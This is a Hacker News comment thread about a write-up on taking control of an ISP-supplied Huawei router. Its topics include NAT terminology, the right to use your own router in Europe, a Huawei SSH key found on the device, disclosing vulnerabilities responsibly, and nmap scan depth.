Adding more functions to a router doesn't make it a non-router. But if it's doing NAT and not routing, then it's a different distinction. But yep it depends on the configuration.

...an RFC that was written in 1995, before NAT was really necessary.
My view: If it forwards IP between different networks, it's a router.

Nat existed in somewhat wide use in 95, PIX had come out recently. It's not necessary today either.

It existed, but was definitely not in wide use. I worked for several early internet providers during that period (mid to late 90's.) Most folks had public addresses on their desktops. No customer we ever set up wanted NAT. Most didn't even have firewalls, sadly! Some of these were small companies, some of these were large corporations or universities.
And I'd argue NAT actually is necessary if you want IPv4 for home use. We'd be out of addresses otherwise.

ISPs didn't use it in the early days, but it was used in corporate/organizational networks. The PIX was apparently marketed as a security appliance (heh) so that defined the user base to a large extent.
You can access the web over v4 with other kind of proxies besides NAT, for example application level HTTP proxies. If you want working v4 for all the protocols, NAT is out by definition anyways.

Yes, I remember the PIX! Probably late 97 or 98, I set one up for a large corp. They were not using NAT previously, but HTTP and socks proxies.

I have a box that runs various routing protocols including OSPF and BGP, but also does nat where it needs to. It's known as a "router"

The NAT RFCs came after the routing RFC and refer to NAT as a router function not as an orthogonal function, boxes that do NAT are referred to as routers in the RFC. This is reflected in the real world where NAT is implemented as part of the routing chain not as a separate module. Remember NAT isn't a box creating 2 sockets and ferrying data between them it is just the translation of fields on top of normal routing functionality.

> boxes that do NAT are referred to as routers in the RFC.
Newer RFCs use different terms such as CPE (customer premises equipment) and AFTR (address family transition router)

> boxes that do NAT are referred to as routers in the RFC
This is not the case, certainly if you are referring to the router requirements. Last I looked, the rest of the IETF was also very cognizant of the distinction, as there has been wide anti-NAT sentiment in the IETF, trying to get people to move over to IPv6 etc.

Again router requirements came out before NAT, you're not going to find anything in that RFC about something else they hadn't written yet. You have to look at the RFCs for NAT to see they are referred to as routers e.g. starting with https://tools.ietf.org/html/rfc1631:
"2. Overview of NAT
The design presented in this memo is called NAT, for Network Address Translator. NAT is a router function that can be configured as shown in figure 1. Only the stub border router requires modifications."
The IETF collectively aren't big fans of NAT as a good solution but that hasn't stopped multiple standards track NAT RFCs per year. v6 only increased this with all of the transitional mode NAT types (46, 64, 464, 646).

That's an informational rfc that has no weight in this manner, router requirements is a standards track document.
"4.2.2 Informational
An "Informational" specification is published for the general information of the Internet community, and does not represent an Internet community consensus or recommendation. The Informational designation is intended to provide for the timely publication of a very broad range of responsible informational documents from many sources, subject only to editorial considerations and to verification that there has been adequate coordination with the standards process (see section 4.2.3)."

Trivia: Strictly speaking a box that does NAT is not a kind of proxy. Proxies act as the destination end point of one connection, establish a separate connection to another endpoint and forward data between the two separate connections. A NAT device changes IP header information such as the address field and if also doing PAT the port field but doesn't act as the source or destination for connections.

I am using the exact same router from the same ISP. I was wondering what the problem was when I wasn't able to forward port 22 to my computer for an SSH connection.
I had thought it had something to with the ISP allocating the same static IP to multiple clients and blocking some common ports to prevent collisions (ended up using port 109.. something for SSH). Turns out it was more interesting!

Enjoyed this write-up, but most of the exploration seemed to be facilitated by someone having already leaked the CLI root password online. Anyone have suggestions on how you might otherwise obtain that information?

Hi, OP here, actually it's not true. Think the scenario as this: you don't have the CLI root password, you just do a MitM attack and learn about root password when your ISP attempts to change it. This applies my situation, also I could learn about the default password just by looking into the firmware.

EU net neutrality regulation grants end users right to use their own equipment.
https://fsfe.org/activities/routers/

Turkey isn't in the EU.

IANAL, but Turkcell would lose the case in Turkey too. This is not due to net neutrality regulations (Turkey deliberately lacks it), but due to case law arisen from competition and customer rights regulations. However, telcos work around that too, by "leasing" modems, like telephone divisions did in the past. Does the trick of "leasing" work in the EU too?

in marketing they try hard to make it sound like what you are going to get by renting their device is WiFi not just the ability to turn on WiFi functionality of the CPE. of course everybody wants that but most people don't get that's not something that has to be provided by the ISP. I am not sure if its required, but i have seen often a lower end device (without WiFi accessible) is given for the lifetime of the contract free of charge.
in Germany you have the right to use a compatible device you own yourself. However my ISP Vodafone does not accept lots of modems as compatible and when this regulation started there were basically none you could actually buy. Its not much better now i guess but i distress.
EDIT: reading your comment again the trick you mentioned probably works because its "yours" when you lease it instead of renting it?

Not instead of renting, but of selling.

note there is only Germany, Italy and the Netherlands with this regulation enforced. they even link to a [0]page with progress of that campaign.
[0] https://wiki.fsfe.org/Activities/CompulsoryRouters/#Router_F...

Many people here pointed out a problem: Removing access for the ISP and/or device manufacturer means they cannot fix bugs remotely and automatically. This is bad in situations like when the Mirai malware hit.
How about this?: "You can use your own device and we provide all required information, but there will be no advanced support and you have to check for bugfixes yourself monthly."
... now that I wrote it, I see the answer: There is no way to enforce this, especially not reliably.

Ok, from the Wikipedia:
> Mirai then identifies vulnerable IoT devices using a table of more than 60 common factory default usernames and passwords
Taking control of the device is exactly the kind of thing that stops that attack.

Finally some proof that Huawei does have back doors in their network equipment.
In part 3 https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already... the author rights that a Huawei engineer has an authorized ssh key that would allow them to access your router.
Just Wow!

I clicked through to the two follow ups — this is both excellent sleuthery and a wonderful write up.

Slightly off-topic: I'd really like to run screenfetch on my router (Asus RT-N66U), but it doesn't have enough free space to sftp the script to it [1]. Piping the script just freezes up. Does anyone know a good workaround? Has anyone ever tried this?
[1] https://unix.stackexchange.com/questions/510947/how-can-i-ru...

Check if your router has tmpfs mounted. Iirc thats ram, it should probably have enough space for you to upload it and run it from there.

My ISP (Internode) provide a ‘modem’ for my NBN hybrid coax / fibre connection. I just put my OPNSense router in front of it and it’s all secure. They provided me with all the config settings, which are a bit more obscure than usual (PPPoE but on a specific vlan tag). Works like a charm and I don’t have to worry about weird government wiretapping or backdoors. My ISP provide an IPv6 range too, which is pretty cool.

You're lucky to have an SSH server active, on mine I had to open the router and dump the firmware manually :/

My ISP has a cloud access "feature". If I go to 192.168.1.1 it redirects me to their "router.MYISP.net" site. What's the best way to go about disabling this? Should I just dump the rented router for my own?

asus (and others) have the same feature. In my case it's a simple redirect from the ip of 192.168.1.1 to router.myasus.com which has a dns record of 192.168.1.1. so all it does is do a redirect to a domain.

Wow some good detective skills at work here , got a similar Huawei HG635 from my provider ... kept it because it supports LTE cutover.
Fortunately some kind person leaked the admin password so that I could configure it to my liking.

I'm overseas now, and using one of these crappy ISP-provided routers. I miss my nice Linksys router back home with high-density mesh, tri-band WiFi, and four gigabit ethernet ports.

The only router with good admin interface I ever had was one with open source software.
Every other router, for 20 years now, had a slow and buggy web interface.
Why is this?!

I very much enjoyed this! I bookmarked your site and hope to read more of your posts in the future.

A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers. I dont think the vulnerability was that bad, as you had to be logged in to the web interface already with another account, but still.
I don't really trust ISP provided hardware / software now though.

You never know. The same technician credentials could potentially work on many routers from the same ISP, maybe even through WAN.

> you had to be logged in to the web interface already with another account
Obviously I don't know specifics, but if this applies to any router which has multiple tiers of login then it could be a pretty serious problem. I suspect that might be true for routers designed specifically broadcast multiple networks (e.g. school or shared apartment-building routers)?

The right thing to do in such circumstances is to publish the vulnerability.

But how do you publish it without the liability of getting sued? A person like me who don't work in security still occasionally find some vulnerability. Sometimes you get angry emails from the company even if you just try to warn them.

Publish the angry emails too.

Getting sued for what? Also, you can publish anonymously.
Sitting on exploits forever only helps attackers and gives false sense of security to dumb companies.

If you think they'd sue, you can always send the details to a tech journalist specialized in such matters (someone with a proven track record of protecting their sources). Use an anonymous email service to be sure.
If something goes wrong, they'll take the thread of legal action and probably win. Companies know that suing journalists often leads to more bad press than cooperating. They can even try to contact the company in question for you if the vulnerability is bad enough.
If the company doesn't respond or get their shit together, journalists will get a scoop and the company is forced to fix their shit. If the company does fix their shit, the journalist will still get a story out of it and you can rest easy that you've helped make the internet just a little bit safer for everyone.

Why did port 8015 show up on the remote system after resetting firmware? Shouldn't nmap have reported that?

It was a “fast nmap”, so only the top 100 most common ports were checked.

Ah, thanks. If nmap was run exhaustively on all 64k ports, would that both (a) take forever, and (b) raise alarm bells on the target? Why isn't a full scan the norm?

Yes to both of those (but not thaaat long). But in this case I still would have ran an exhaustive nmap because it's a device on my local network rather than a remote server.

Reply on news.ycombinator.com